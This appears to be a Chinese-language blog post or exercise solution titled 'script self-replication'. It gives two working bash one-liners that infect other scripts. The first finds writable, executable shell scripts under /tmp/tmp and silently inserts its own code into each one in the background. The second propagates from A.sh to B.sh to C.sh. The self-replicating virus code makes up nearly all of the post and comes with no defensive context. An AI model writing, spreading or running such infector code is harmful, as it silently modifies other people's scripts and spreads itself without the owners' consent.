腳本自我複製

1. 運行以下腳本可以感染到其他可寫可執行的腳本文件

     1    #!/bin/bash
     2    ( { [ -f "/var/lock/.lock" ] && exit ; touch "/var/lock/.lock" ; I_F=$(grep "/var/lock/.lock" $0) ; for i in $(for f in $( find "/tmp/tmp" -type f 2>/dev/null ) ; do file $f | grep "shell script text" | cut -d":" -f1 ; done ) ;do [ -w $i -a -x $i ] && !(grep "/var/lock/.lock" $i) && NUM=$(wc -l $i | cut -d" " -f1) && NUM=$((NUM/2+1)) && sed -i $NUM"a$I_F" $i ; done ; rm -rf "/var/lock/.lock" ; } > /dev/null ) &


//注意其只有2行,如果在/tmp/tmp下有可執行並且可寫文件a.sh  執行上述腳本後,a.sh中會添加上述腳本的內容。

2. 完成一段自複製代碼,原始程序爲bash腳本A,在其執行後可以複製自身代碼A到當前目錄下有可執行能力的bash shell腳本B,複製後B的代碼爲其原始代碼+A的代碼。然後在目錄下生成一個腳本C,其代碼爲C,執行腳本B後,腳本B也會複製代碼A到C,但不會複製A到B自身。複製後bash shell腳本C的代碼爲其原始代碼C+A。

     1    #!/bin/bash
     2    ( { [ -f "/var/lock/.lock" ] && exit ; touch "/var/lock/.lock" ; I_F=$(grep "/var/lock/.lock" $0) ;FNAME=$(basename $0);DIR=$(dirname $0);B=$DIR/B.sh;C=$DIR/C.sh; if [ $FNAME = "A.sh" ]; then [ -f $B ] && [ -w $B -a -x $B ] && !(grep "/var/lock/.lock" $B)&& NUM=$(wc -l $B | cut -d" " -f1) && sed -i $NUM"a$I_F" $B ; elif [ $FNAME = "B.sh" ]; then [ -f $C ] && [ -w $C -a -x $C ] && !(grep "/var/lock/.lock" $C)&& NUM=$(wc -l $C | cut -d" " -f1) && sed -i $NUM"a$I_F" $C ; else echo -e "do not excute c.sh."; fi; rm -rf "/var/lock/.lock"; } > /dev/null )&


當然也可以借鑑第1題,只要將查找的目錄/tmp/tmp改成當前目錄 ./  就好。畢竟題中說了,C腳本是在A感染完B後才創建的

//交流  [email protected]


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章